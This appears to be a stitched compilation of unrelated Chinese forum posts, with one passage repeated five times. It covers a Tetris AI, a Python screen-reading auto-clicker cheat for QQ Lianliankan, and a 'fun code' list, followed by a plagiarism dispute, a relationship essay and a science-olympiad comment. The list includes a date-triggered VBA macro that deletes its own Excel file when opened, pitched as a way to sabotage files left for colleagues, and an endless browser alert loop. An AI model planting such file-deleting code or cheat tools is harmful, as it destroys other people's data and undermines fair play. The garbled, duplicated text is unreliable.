之前有段时间沉迷俄罗斯方块,然而公司的电脑上没有这个游戏,于是趁着休息的时候自己写了一个。然后沉迷游戏无法自拔(并没有)
玩了一段时间,我充分认识到自己是个手残到无可救药的人,于是又趁着休息时间自己写了一个玩俄罗斯方块的 AI。然后沉迷看 AI 玩游戏无法自拔(好像哪里不对)
放一段 AI 玩游戏的视频吧
https://www.zhihu.com/video/987799738485403648代码在 GitHub 上,想围观或者自己玩的同学可以看看。(链接:LoveDaisy/tetris_gmae)
python写的连连看外挂,图二时间间隔设置成了0,效果有点吓人。用的是简单的opencv图像识别结合连连看的算法,如果关注度足够,我会回来补上具体的实现思路和源码地址。(开源了已经)希望不会接到腾讯爸爸的律师函?
先手动来条华丽的分割线
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这刚刚有了知乎账号不到两周还,第一次在知乎回答,不到两天的时间,快破800的点赞,440的收藏,130的关注,66的感谢,还有100多条五花八门的评论着实是吓到我了。刚刷到这个问题的时候就觉得小猪佩奇都能赞到3k+,那我是不是也可以?就尝试性的发了这个外挂出来,看来冲击力实在不小,都有人私信问我是不是骗子了,吓得我赶紧回来补上约定好的实现思路和源码连接。承蒙大家厚爱,现在我来好好回答一下这个问题。
源码连接:先点这里,然后点star(因需要遵循知乎规定,源码连接已失效。)
这个小外挂用python2写出来有将近半年了,挂到github上的版本我想用python3重构,当时只写了个开头后来不了了之了。这篇回答发出来,关注度如此之高,这才想起来我的github上挂的是半喇项目,尴尬我的今天趁下班时间赶紧写完了python3的版本,并且把思路代码都理了理。
需要使劲敲黑板强调一下的是:我在Github上提供的源码带了一个自己实现的连连看游戏,按照源码中的参数运行起来,可以挂我自己的这款连连看, 如果挂腾讯爸爸的游戏,需要修改一些参数,参数我在此不做提供。此处开源仅用于交流学习使用,请不要大肆传播,影响正常的游戏秩序和公司的商业利益。
下面的内容,伸手党可以不用看了,毕竟大家更感兴趣的,肯定是上面那个链接(嗯,可惜现在已经没了)。
项目一共350行左右的源码,注释150行,是的,实现起来比你想象的简单的多。接下来我用我的方式讲解一下这个外挂是怎么实现的,尽可能简洁,让绝大部分人都能听懂。
游戏开始,纵览全局,一眼扫到能够相连的两个相同的图片,就用鼠标去点,先点第一个,再点第二个,随着“撕拉”一道闪电两个方块随即爆炸,爽的不要不要,以此类推直到游戏结束,通过以上的操作可以细化出这样几个点来:
答案是肯定的,计算机运算速度那么快,如果能想办法让他用和人类一样的思路去操作,那我们岂不是能轻易享受到“撕拉撕拉”的快感?而唯一需要我们做的,就是躺好,让她自己动。哦它!错别字!
想到这问题就清晰一些了,我们想让电脑按照我们的方式去执行和我们一样的操作,借助CPU发热的淫威,达到我们人类难以企及的速度,就是酱紫。那么计算机怎么像我们一样思考和操作呢?回到上面分析出的三点:
就像把大象装进冰箱一样,让电脑代替人脑,需要的也就是这么简单的三步。
程序它如何能认识屏幕中的游戏中的一个一个的小方块呢?你肯定想到了:图像识别+机器学习?
学习个屁!
没错乍一看屏幕中间一个个的小方块是很有规律的,也有明显并且规律性的色值的梯度变化,通过一些图像识别的算法一定可以让程序认出屏幕上的小方块来。
没错,但这样做真的不会很麻烦嘛?这里我一定要跟在座的提一下:无论是产品设计还是编码实现,一定要遵循一个核心原则:大道至简!什么叫大道至简?意思就是复杂的我也不会。
那简单的怎么做?首先,找到游戏窗体的位置(windows API),然后从屏幕上截张图(PIL),游戏窗体顶点的横纵坐标各加上一个数字,就找到了游戏区域(图中绿框),然后,通过图像切片的方式,从点C开始,分别以方块宽度为高度为步长,把图像切割成n个小块,然后再比较这些图片是否相等,一样的就用同样的数字标识,空白就用0,就这样简单粗暴地完成了第一步。
至于我怎么知道方块的宽度高度,还有从顶点到游戏区域的距离?这个我是截图拿PS看的,不然还拿尺子量么。。。
图像转化成数据了,数据改怎么进行处理?
这里就得扯一下连连看的算法了,它的算法和它的规则关联度很大,它的规则是和拐点相关的:两个方块的通路上,最多可以有两个拐点,如果用两个拐点还连不上,那他们就不能连通。落实在算法上其实很好写也:两个点能否直连是很好判断的,只需要判断两点之间的通路上是不是都为0就可以。那么两点通过一个拐点连通的情况,就是其中一点到拐点,再从拐点到另一点两个直连的判断。那么两个拐点的情况,就是一个点到拐点的直连+一个拐点到另一点的单拐点的情况进行判断。这样写下来,几乎全是嵌套调用,最后全部都集中在直线的校验上。
第二部判断出的两个点可以相连,那需要程序点击一下两个点就可以,通过刚才的判断两个点的坐标是可以知道的,那只需要再向两个坐标发送鼠标点击的时间就可以。这里通过python win32的API就可以实现模拟,贴心的答主已经在源码开头附上pywin32下载链接了。
电脑会以惊人的速度向你反馈“撕拉撕拉”的快感。这里请允许我再装个逼,上面的视频2我搞错了,是时间间隔0.01秒的情况,真实的0间隔效果是酱紫的:
https://www.zhihu.com/video/987135495880663040接下来就是一些闲扯的内容了,是我的一些看法和讨论,可能没什么技术含量和价值,不喜勿喷。
相信很多人看了思路和源码一定很失望,根本没有什么高端的算法和逻辑,说好的图像识别,也就是用了一下opencv的函数比较了一下图像是否相等。当然,外挂确实实现了还很吊炸天。理想状态下当然是通过图像识别找出相同的图片然后分析计算然后执行自动消除的操作。但是不那么做的理由我在上面也说过了,我确实不会....-_-||
1、这个外挂程序的局限性比较大,从我上面的分析就可以知道很多都是基于固定坐标来算的,那其实只要腾讯爸爸把这个游戏做的支持缩放,这个外挂也就跪了。但是腾讯没有,自打我有记忆以来,这游戏怕是有15年没更新了,600*800的像素在我同事的外星人上显示地像个幼儿版本。可能是看不上这一天两万人的用户量吧,还是开发新版本的欢乐斗地主更挣钱。
2、如果速度设置的较慢,让别人先赢了,将是一件比较尴尬的事情,别人赢了你再点击屏幕已经无效了,但是程序继续运行仍然会让鼠标在对应的位置点来点去。你还没法移动它去停止程序,你鼠标还没挪走呢,就又给你挪到其他位置了。此处应该设置个中断机智,能够随时停止程序的。
3、我在程序中使用的是opencv+numpy进行的图片读取,切片,还有图片是否相等的校验。后来同事给我提供了一种思路:1、PIL本身就可以进行图片切片,2、operater.eq()可以校验两个对象是否一致,用来校验切片出来的图像是完全可以的。 这样的话根本就不需要opencv和numpy,什么图像识别,根本不需要的,如果那么做,代码量还可以比现在更精简。当然运行效率上,跟opencv+numpy根本不是一个量级。
关于外挂有很多中办法实现,我说几种主流的,大家评论里也已经多得五花八门了,
1、其中很大一部分,也是绝大多是外挂的主流做法,就是直接在本机改内存。你的游戏运行在我这里,代码就得加载到我的内存里运行,那么内存里的数据再抽象,总有高手能给它鼓捣出来。就比如说这个连连看,我也可以通过读取内存的手段直接拿到它方块布局的数据,直接把这个数据全改成0,那立马就赢了。但这样做很麻烦,这里我一定要跟在座的提一下:无论是产品设计还是编码实现,一定要遵循一个核心原则:大道至简!什么叫大道至简?意思就是复杂的我也不会。。。
有一些游戏数据必须要在本地进行处理的,很容易遇到这种外挂,比如地下城与勇士无限刷图啦,更比如吃鸡,就说吃鸡,这样的第一人称射击游戏,打一枪子弹中没中,不可能放到服务器去判断,一是判断不过来,二是受网络的影响实时性根本达不到要求。所以你一枪子弹打出去中没中,一定是放在本地进行计算的,既然是在本地内存里,一旦防范不到位那就有人能给你改,我们所谓的“飞天遁地锁血金身”什么的。像LOL就不多存在这样类型的外挂,一方面肯定是反外挂投入的力度大,另一方面就是因为你的操作全部都是由服务器来进行计算并反馈的,不存在太多本地数据篡改的风险。
2、另一种外挂,不在本机改内存,而是通过网络去骗数据,常见于数据协议被黑客窃取或破解,那他就可以按照协议格式发伪造的数据,来骗服务器。这种外挂我见过的比如GTA5 online版本,当时答主的舍友花50块买的外挂,头上一个劲儿的往出冒钱,外挂弄出的钱,退出后重新登录会消失,但是如果这些钱用来买了资产,那资产就实打实的是你的了。看上去也是很爽,感觉那外挂应该是了窃取某个加钱的接口,然后发模拟数据一个劲儿的刷。
3、再有,就是我的这种外挂,用程序来模拟用户的某些操作,类似于按键精灵的意思,得益于计算机优秀的运算速度,往往能达到人类难以企及的水平。除了我这个连连看,还有之前微信跳一跳的外挂也是如此。而这种外挂也很难防范,有些时候程序无法判断操作是来源于用户还是代码。
我是这个外挂的作者,所以也想说说关于如何防范这个外挂,以下来说说我替鹅厂想的一些法子来阻止我这个外挂。
1、最行之有效:窗体缩放。如果这个游戏的窗体可以缩放,那我这个外挂基本上算是废了,除非你每次玩的时候都能缩成固定的大小,并且每次保证都一样。如果真的修改地支持窗体的缩放了,那我的外挂就不得不通过真正的图像识别来搞了。当然,那样会很麻烦....我不会。
2、检测时间间隔,如果每次间隔都一样,则视为外挂。这属于比较蠢的办法之一,你是不知道python中生成个随机数有多简单,随便弄个0.5~2秒随机,那家伙比真人还真!
3、通过驱动级别的检测,看是否有鼠标输入。这个原理很简单,实现起来很难。让程序的代码深入驱动底层去检测,如果没有捕获到鼠标点击,但是程序却收到了鼠标事件,说明这次点击时程序模拟的,直接过滤掉。但是这样做的代价很大,驱动底层的windwos编程带来的可能是巨大的兼容性难题,XP、win7、win10很有可能不一样。与其这样,干嘛还在每天2W用户量的连连看上面较劲,投入人力物力去开发欢乐斗地主不是更好么。
当然,鹅厂是完全有这样的能力和技术手段的。答主曾经遇到过一个windows键盘监听器,用C++钩子实现的全局键盘监听,可以监听一切用户输入。但腾讯QQ的登录框的密码,则是完全兼听不到的,这说明腾讯在此处做了比钩子更加底层的安全处理,也就是驱动级别的处理。题外话:银行官网登录时让下载的安全控件也可以提供这种级别的保护的,四大行只有一个会被钩子监听到按键输入,是哪一个我就不说了,曾经提交过反馈,不知现在处理了没有。
可以!答案是一定可以,这其中用到的技术没有一个是非python干不了了,只能说用其他语言,可能代码量多少的问题,比如我python用了200行有效代码,可能go需要300行? C++400行? java2000行......
哦,当然不是任何语言都可以,html和css就不行。
我刚刚才加入知乎,第一次回答有如此的关注度肯定是开心的,但是大家不要再在私信和评论里一口一个大佬大神了,又是问我要代码,又是问我推荐学习路线,问我推荐书籍的。作为程序员拿着不到5K的月薪,这么搞得我心里着实很慌。
还有问我要连连看源码的,这个视频中的连连看是腾讯QQ的连连看,不是我写的,所以你要连连看源码的话....我还真的有:王者荣耀风格的连连看。这个也就是我外挂项目中捆绑销售的连连看游戏,Qt C++做的,如果能加上“撕拉”的闪电,就更好了。拿去看看就行了,别拿去充当什么课设毕设,这游戏硬让我学弟妹们拿去给三四个人做毕设了,后果....
虽然我原本压根没打算入知乎的坑,但是一波儿回答让我吸了这么多赞还是蛮开心的,如果说问我出名后想做什么事情的话,我想可能是先给自己搞个头像?
PS:呀!刚才又看了一下,评论里没有叫大佬大神的哈, 飘了飘了~~
外挂这种东西一定会多多少少损害到其他公司的商业利益,虽然鹅厂还轮不到我来考虑人家的商业利益,但是我仍然不希望外挂的配置代码从我手中散播出去。代码的开源一是为了交流和学习,二是为了Github上多多的star(不要脸到我自己都怕)。我也不扯什么伦理道德,我能做的,就只是管好自己。作为原作者也希望大家都能够做到:不要在公开场合散布有关破解QQ游戏连连看的配置信息,不要将此代码用于任何商业用途。
还有就是答主是个玻璃心,以上言论 有何不妥欢迎随时交流探讨,但是谢绝辱骂。
洋洋洒洒墨迹完,已经深夜了,祝大家好梦,就这样。
2019/1/27
偶然在知乎上看到了连连看的物理外挂版本,这个才是真大牛:https://www.zhihu.com/question/265112599/answer/393472226
都说程序员木讷无趣,今天就借机让大家领略一下什么叫隐藏在代码里的有趣灵魂。
话不多说,follow me!
1.离职彩蛋——会自杀的文件
离职时电脑里的文件带不走,又不想被别人捡漏?不妨给文件下一个“自杀”指令。直白地说就是在Excel文件的VBA里编制一段“自杀”代码,只要有人启用该文件的宏,文件就会神奇的消失,是不是有点奇幻色彩?
Private Sub Workbook_open() If Date >= #12/8/2017# Then Application.DisplayAlerts = False MsgBox "不要迷恋哥,哥就是个传说!", Title:="领土所属权!" With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly Kill .FullName .Close End With Else: Exit Sub End If End Sub
这还不是最牛的,更厉害的地方在于你可以为文件设定一个“自杀”期限或者限制一定的“自杀”次数。比如,为了避免影响工作交接,你可以把启动“自杀”的时间设置在交接完成之后,只要有人再打开你的工作簿启用宏,文件就会忠诚的“死去”;设定次数的方式比较适合于炫技场景,例如设定了5次“自杀”机会,你大可以把前5次机会让给别人,事实上无论是谁打开都会发生文件“自杀”事件,而到第6次的时候一定要亲自上阵,向大家展示什么是“天选之子”。
2. 小霸王代码
不知道程序员们有没有玩过小霸王486?据说有人曾在第一次接触到这种“电脑”的时候,怀着无比激动的心情,在它的GBASIC程序下面敲下了自己人生中的第一行代码“what is your name?”即便是一行跑不通的代码,也让人兴奋不已。
3.手机的隐藏代码
买了新手机却忘记了手机序列号?别急,其实除了看手机的包装盒外,直接用手机中“关于手机”也能查到手机序列号。不过今天要说的是大部分手机在出厂之前就被安装了一组神奇的代码,只需要在手机的拨号界面,输入“*#06#”就会出现手机的IMEI码,部分手机可以通过该序列号查询到手机的真伪以及激活保修等信息。不用担心买到假手机了,开森~
4.PHP一行代码的巨大威力
不得不说PHP是“全世界最好的编程语言”,因为你只需要在编辑器里输入书上的示例代码
<?php phpinfo() ?>
刷新浏览器的页面就会出现奇迹!
惊不惊喜?服不服气?开不开森?PHP是世界上最好的语言没有错吧,一行代码就输出了这么一大页东西!
5.Python控制程序操纵浏览器
什么?Python才是王道?那就学起来吧!打开IDLE,输入下面的代码:
import webbrowser webbrowser.open('http://baidu.com')
再按一下回车键,意外之喜!程序竟然可以操纵我的浏览器了!
6.会跳舞的图片
闲来无聊娱乐一下,你可以在浏览器地址栏里输入一段代码,让网页里的图片在屏幕上飞舞起来,有没有很神奇?
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; var DI= document.getElementsByTagName("img"); DIL=DI.length; function A(){ for(i=0; i<DIL; i++){ DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5+"px"; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5+"px" } R++ } tag=setInterval('A()',5 ); document.onmousedown=function(){clearInterval(tag); for(i=0; i<DIL; i++){ DI[i].style.position="static";} }; void(0)
Ps.有时粘贴时浏览器会自动吃掉“javascript:”这几个字符,手动敲上就可以~
7.编辑页面文字
在浏览页面的时候想要复制一段文字,却发现文字不能被编辑?其实方法很简单,按F12快键打开控制台,在控制台里面输入
javascript:document.body.contentEditable='true';document.designMode='on'; void(0);
你就会发现页面中的所有文字都可以编辑了,而且绝大部分网页界面都可以这么用。
8.用PHP代码作画
代码能作画,不到20行PHP代码也可以绘制一个复杂美丽的图像,而你只需要敲出下面这些代码:
<?php $x = 200; $y = 200; $gd = imagecreatetruecolor($x, $y); $corners[0] = array('x' => 100, 'y' => 10); $corners[1] = array('x' => 0, 'y' => 190); $corners[2] = array('x' => 200, 'y' => 190); $red = imagecolorallocate($gd, 255, 0, 0); for ($i = 0; $i < 100000; $i++) { imagesetpixel($gd, round($x),round($y), $red); $a = rand(0, 2); $x = ($x + $corners[$a]['x']) / 2; $y = ($y + $corners[$a]['y']) / 2; } header('Content-Type: image/png'); imagepng($gd); ?>
看,作品成功出炉了。
9.制作无法关闭的对话框
工作的时候最烦电脑不听指挥,但其实有些也可能是人为恶搞的小把戏,例如在浏览器的地址栏里输入一段神奇的代码,你将得到一个无法关闭的对话框。
javascript:while(1){alert('Restart%20your%20brower%20to%20close%20this%20box!’)}
10.黑客帝国代码雨效果
将这段代码用记事本保存为一个bat批处理文件,比如yu.bat,按WIN+R打开运行对话框,输入CMD,在CMD里面运行该文件,就会出现黑客帝国代码雨的效果了。
@echo off color 02 :start echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% goto start
11.“调皮”的光驱
不要在安装有光驱的LINUX电脑运行下列程序,否则打赌你的光驱总是会自动弹开。
import os while 1: os.system( "eject /dev/scd0” )
12.一行“累死”CPU的代码
10 GOTO 10
看吧,码农的世界丰富多彩,黑夜给了码农黑色的眼睛,我们却用它来寻找代码里的光明……希望这些小代码能激起你学习编程的兴趣哦~
推荐阅读:
感谢
@sxc邀请。非常非常感谢。
为了防止邀请我的sxc老师撤销邀请,我不得不截图。
@朱峰女士,你的答案,为了防止你进行修改,我已经截图了。没错,如你问题当中所说,礼貌是不是软弱?
当然不是。
我自问是一个普通人,在知乎得到关注多,也只是因为我勤勤恳恳,一个字一个字写得多,仅此而已。
我去咕咚网之前,当过记者,做过公关,我也不是什么名校毕业,但是我深深知道,原创是品德,是节操。做记者,报道要如实,要客观,要中立,要还原事情的本来面目。
我为什么要在微信群“红包体育”里面和你抬杠,为什么要质问你,想必你已经不记得了,然而我记得清清楚楚。
我不关注你的微信号,那是有非常重要的原因的。朱峰女士,你说你没做过亏心事,那么想必在你看来,未经他人许可引用、转载他人原创的内容,不算是亏心事了。
你不记得的事情,我一点一点帮你回忆起来吧。事情当然没有这么简单。
当你加入“红包体育”的时候,我对群主说了一句话。【我很高兴,我有不删除任何聊天软件当中聊天记录的好习惯。】
这里截图当中的日期是一直就存在的。至今我的iPhone 4S也一直在用呢,不可能改掉。
你为什么和我说抱歉,你忘了?2015年3月3日你所说的,是真的都不记得了?
当时我的反应,算是很克制的了,毕竟当着“红包体育”群里这么多人的面。
为什么我过了这么久,才再次在“红包体育”群里质问你,我想你应该明白。我知道每个人做自媒体不容易,想靠着才华变现,更加不容易,当时你肯道歉,说你会改,那么我也就得过且过了。
问题的关键在于,你改了吗?如果你改了,你就不会不经过
@式微同意,转载她的答案,而且还将她列为“第二作者”。
你的所谓声明,夹杂在你的正文内容当中,而不是正式开辟一个子栏目道歉,被诸多的信息噪声遮盖着,这就是你的诚意?
上述三张截图,是2015年6月17日早上8:43时截的。我现在还很怕诸多水军说我图片造假呢。下面两张图,是2015年3月3日晚上20:49时截的。那个时候,你的微信ID还没有“太阳表情”。
这个总不能说我作假了吧?
而你在面对我的质疑的时候,说了些什么话,你还记得吗?这就是我为什么要截图的原因。
二次编辑加了些东西,就可以等同于你自己的原创,是吗?
事实证明我当初心一软得过且过,才是真的错误。
你说了“最初开时,格式内容混乱,但转载内容标明了作者”——我还是那句话:用了我的东西,问过我吗?
你说了“微信对于转载格式有了新要求后,我们也跟着学习,把之前来源不明的全部删除。之后再也没有出现不合规的转载“——来源不明?请看看截图,你自己说过的话,怎么就这么快忘了呢?”是从虎扑、知乎、直播吧很多来源的文章“,这还算是来源不明?
你说了“暴力行为冠以道德名义,缺又恰恰选择了一个认真做事的自媒体下手,无论是出于要稿费,还是炒作涨粉,都不会实现的”——暴力冠以道德的名义?我质问你,就是暴力,你不告而拿,拿了我的答案,也拿了知乎上别人的答案,这种偷窃行为,就是道德的?
另外,请弄清楚,到底谁在炒作?我只是把原文作者式微老师带到了“体育红包”群,让她自己和你说清楚,这就是炒作?式微维护自己正当权益没有成功,自己写了篇专栏,以正视听,这叫炒作?
你说了“另外。。。您在背后诽谤我的许多聊天截图我已经给了律师。我们没做亏心事,我们礼貌但不软弱,真的,用法律途径解决,只对我们单方面有利啊。但您若真的要这样苦苦相逼,请也不吝给我一个您的地址,给您去一封律师函”。
我在背后诽谤你?请把截图放出来,让知乎用户都看看,我到底怎么诽谤你了。
你没做亏心事?没做亏心事我会质问你为什么不经过我允许转载了我的内容?
说我苦苦相逼?到底谁逼谁?“咕咚-李旸”是我在“红包体育”群里的ID,那是因为之前说过要标清楚所在的企业、媒体和姓名,所以我这样写。
我再说一次:质问你,是因为你在知乎未经我许可,擅自转载和引用了我的内容;我质问你,是因为你在知乎未经式微老师的许可,擅自转载和引用了式微老师的内容。
知乎上的回答问题,是我业余时间所为,工作忙的时候我只能下班回答问题,晚上写公众号内容,或者把知乎的答案放到我自己的公众号上去。关于足球篮球的内容,和咕咚网没有一点关系,全部是我自己的业余创作。
而你,直接找到了咕咚创始人、CEO申波先生,也就是我的最高领导,去质问我的行为是代表咕咚,还是代表个人。
我在知乎的ID和个人说明写得清清楚楚,没有和咕咚有任何的关联。你没有经过我个人的允许,转载引用我在知乎的内容,被我质疑你转载了别人的内容,居然好意思说是“法律层面的诽谤”?居然还去和我供职的企业对质?
到底是谁苦苦相逼?
所谓认真做事的自媒体,是把知乎用户的文字答案,变成自己的声音和话语,放到视频当中去,是吗?
所谓认真做事的自媒体,是未经他人许可,擅自转载、引用他人在知乎的原创答案,是吗?
最后我很想问一句:你既然深知自媒体人的成长有多么不易,为什么你还要去做“未经许可,擅自转载和引用其他自媒体人的内容”这样的事情?
最后,是我放出的所有截图的具体信息。
我在这里声明:我是知乎用户李暘,在知乎的每一个答案,在知乎的每一篇专栏文章,不敢保证完美无缺,逻辑严密,没有错别字,但全部是我自己的原创内容,任何人未经我许可,转载、引用、抄袭我的答案,即为侵权行为。
当感情成为生活的一种负担而且无力改变的时候。
与女生不同,大多数男生是不会把感情当作生活的全部的,过日子是头等大事,感情只是其中一部分。所以对于男生来说,一段好的感情是能让生活更轻松的。
一个男生可能会因为你漂亮而喜欢你,但这种喜欢无非是荷尔蒙冲动无法长时间维系,真正能让男生愿意和你一辈子走下去的,是你能够理解他,能够支持陪伴,能够默契相处。
但就这一点上,很多女生都是在逆行。她们所期望的感情都是建立在对于男生的索取之上,她们会因为男朋友没有足够专注自己而去作,会因为男朋友没满足自己的需要而去闹,会频繁吵架提分手来试探这个男人是否足够爱自己,却忽略了这个过程中,自己一步步在抛掉自己值得被爱的筹码。
当男生觉得和你在一起,不但体会不到丝毫乐趣,反而成为一种负担的时候,其实就已经在积累失望了。但这个时候男生一般不会直接放弃,他们会尝试逃避,会尝试沟通,会寄希望于你能逐渐去改变。
所以有经验的女生应该知道,男人的态度变化是有个周期的,不会因为你和他吵几次而一下子和你分手,但是会逐渐冷漠下来,这个过程中他就是在开始怀疑是否真的合适,会希望看到你有所变化。然而往往女生在这个阶段,又会因为男生的逃避而更加变本加厉去作去闹,想要控制对方,最终形成恶性循环。
等到失望积累够了,也就变成绝望。他会判断你已经不会变了,无药可救了,再相处下去只会让那自己越来越累,最终决定分开,等你意识到问题所在时已经来不及了,这种理性思考下的分手,往往挽回难度也是比较大的。
很多女生整天担心男生变心不爱自己,但同时却又是亲手在不断把他往外推,想想还挺可笑的。
当感情成为生活的一种负担而且无力改变的时候。
与女生不同,大多数男生是不会把感情当作生活的全部的,过日子是头等大事,感情只是其中一部分。所以对于男生来说,一段好的感情是能让生活更轻松的。
一个男生可能会因为你漂亮而喜欢你,但这种喜欢无非是荷尔蒙冲动无法长时间维系,真正能让男生愿意和你一辈子走下去的,是你能够理解他,能够支持陪伴,能够默契相处。
但就这一点上,很多女生都是在逆行。她们所期望的感情都是建立在对于男生的索取之上,她们会因为男朋友没有足够专注自己而去作,会因为男朋友没满足自己的需要而去闹,会频繁吵架提分手来试探这个男人是否足够爱自己,却忽略了这个过程中,自己一步步在抛掉自己值得被爱的筹码。
当男生觉得和你在一起,不但体会不到丝毫乐趣,反而成为一种负担的时候,其实就已经在积累失望了。但这个时候男生一般不会直接放弃,他们会尝试逃避,会尝试沟通,会寄希望于你能逐渐去改变。
所以有经验的女生应该知道,男人的态度变化是有个周期的,不会因为你和他吵几次而一下子和你分手,但是会逐渐冷漠下来,这个过程中他就是在开始怀疑是否真的合适,会希望看到你有所变化。然而往往女生在这个阶段,又会因为男生的逃避而更加变本加厉去作去闹,想要控制对方,最终形成恶性循环。
等到失望积累够了,也就变成绝望。他会判断你已经不会变了,无药可救了,再相处下去只会让那自己越来越累,最终决定分开,等你意识到问题所在时已经来不及了,这种理性思考下的分手,往往挽回难度也是比较大的。
很多女生整天担心男生变心不爱自己,但同时却又是亲手在不断把他往外推,想想还挺可笑的。
当感情成为生活的一种负担而且无力改变的时候。
与女生不同,大多数男生是不会把感情当作生活的全部的,过日子是头等大事,感情只是其中一部分。所以对于男生来说,一段好的感情是能让生活更轻松的。
一个男生可能会因为你漂亮而喜欢你,但这种喜欢无非是荷尔蒙冲动无法长时间维系,真正能让男生愿意和你一辈子走下去的,是你能够理解他,能够支持陪伴,能够默契相处。
但就这一点上,很多女生都是在逆行。她们所期望的感情都是建立在对于男生的索取之上,她们会因为男朋友没有足够专注自己而去作,会因为男朋友没满足自己的需要而去闹,会频繁吵架提分手来试探这个男人是否足够爱自己,却忽略了这个过程中,自己一步步在抛掉自己值得被爱的筹码。
当男生觉得和你在一起,不但体会不到丝毫乐趣,反而成为一种负担的时候,其实就已经在积累失望了。但这个时候男生一般不会直接放弃,他们会尝试逃避,会尝试沟通,会寄希望于你能逐渐去改变。
所以有经验的女生应该知道,男人的态度变化是有个周期的,不会因为你和他吵几次而一下子和你分手,但是会逐渐冷漠下来,这个过程中他就是在开始怀疑是否真的合适,会希望看到你有所变化。然而往往女生在这个阶段,又会因为男生的逃避而更加变本加厉去作去闹,想要控制对方,最终形成恶性循环。
等到失望积累够了,也就变成绝望。他会判断你已经不会变了,无药可救了,再相处下去只会让那自己越来越累,最终决定分开,等你意识到问题所在时已经来不及了,这种理性思考下的分手,往往挽回难度也是比较大的。
很多女生整天担心男生变心不爱自己,但同时却又是亲手在不断把他往外推,想想还挺可笑的。
当感情成为生活的一种负担而且无力改变的时候。
与女生不同,大多数男生是不会把感情当作生活的全部的,过日子是头等大事,感情只是其中一部分。所以对于男生来说,一段好的感情是能让生活更轻松的。
一个男生可能会因为你漂亮而喜欢你,但这种喜欢无非是荷尔蒙冲动无法长时间维系,真正能让男生愿意和你一辈子走下去的,是你能够理解他,能够支持陪伴,能够默契相处。
但就这一点上,很多女生都是在逆行。她们所期望的感情都是建立在对于男生的索取之上,她们会因为男朋友没有足够专注自己而去作,会因为男朋友没满足自己的需要而去闹,会频繁吵架提分手来试探这个男人是否足够爱自己,却忽略了这个过程中,自己一步步在抛掉自己值得被爱的筹码。
当男生觉得和你在一起,不但体会不到丝毫乐趣,反而成为一种负担的时候,其实就已经在积累失望了。但这个时候男生一般不会直接放弃,他们会尝试逃避,会尝试沟通,会寄希望于你能逐渐去改变。
所以有经验的女生应该知道,男人的态度变化是有个周期的,不会因为你和他吵几次而一下子和你分手,但是会逐渐冷漠下来,这个过程中他就是在开始怀疑是否真的合适,会希望看到你有所变化。然而往往女生在这个阶段,又会因为男生的逃避而更加变本加厉去作去闹,想要控制对方,最终形成恶性循环。
等到失望积累够了,也就变成绝望。他会判断你已经不会变了,无药可救了,再相处下去只会让那自己越来越累,最终决定分开,等你意识到问题所在时已经来不及了,这种理性思考下的分手,往往挽回难度也是比较大的。
很多女生整天担心男生变心不爱自己,但同时却又是亲手在不断把他往外推,想想还挺可笑的。
当感情成为生活的一种负担而且无力改变的时候。
与女生不同,大多数男生是不会把感情当作生活的全部的,过日子是头等大事,感情只是其中一部分。所以对于男生来说,一段好的感情是能让生活更轻松的。
一个男生可能会因为你漂亮而喜欢你,但这种喜欢无非是荷尔蒙冲动无法长时间维系,真正能让男生愿意和你一辈子走下去的,是你能够理解他,能够支持陪伴,能够默契相处。
但就这一点上,很多女生都是在逆行。她们所期望的感情都是建立在对于男生的索取之上,她们会因为男朋友没有足够专注自己而去作,会因为男朋友没满足自己的需要而去闹,会频繁吵架提分手来试探这个男人是否足够爱自己,却忽略了这个过程中,自己一步步在抛掉自己值得被爱的筹码。
当男生觉得和你在一起,不但体会不到丝毫乐趣,反而成为一种负担的时候,其实就已经在积累失望了。但这个时候男生一般不会直接放弃,他们会尝试逃避,会尝试沟通,会寄希望于你能逐渐去改变。
所以有经验的女生应该知道,男人的态度变化是有个周期的,不会因为你和他吵几次而一下子和你分手,但是会逐渐冷漠下来,这个过程中他就是在开始怀疑是否真的合适,会希望看到你有所变化。然而往往女生在这个阶段,又会因为男生的逃避而更加变本加厉去作去闹,想要控制对方,最终形成恶性循环。
等到失望积累够了,也就变成绝望。他会判断你已经不会变了,无药可救了,再相处下去只会让那自己越来越累,最终决定分开,等你意识到问题所在时已经来不及了,这种理性思考下的分手,往往挽回难度也是比较大的。
很多女生整天担心男生变心不爱自己,但同时却又是亲手在不断把他往外推,想想还挺可笑的。
利益相关:第24届生竞国赛选手,银牌退役。
照这个说法我怕是被一只小龙虾挡在了北大的门外,真是呵呵哒。
媒体为了流量不要节操,寒的是热爱生命科学愿意在课业本就繁重的高中投入大量时间精力去学习的竞赛选手们的心。我们勤勤恳恳看书刷题做实验,秉烛达旦全年无休,却被一句轻飘飘的戏谑抹杀所有努力,这TM怎么能忍?
至于那些所谓权贵二代的阴谋化言论我想说,学竞赛买书做实验集训可能确实需要一点点财力支持,但学习方法因人而异丰俭由人,过五关斩六将的考试凸显的也是实实在在的能力,与家庭背景毫无扯上关系的可能。脑残和喷子们不过是看到了一个爆点,让他们自己高潮去吧。
PS微博用户财经太极猫在此前的南大支教事件中就发表了很多不良言论,这次又出来蹦哒,看到的朋友烦请顺手举报。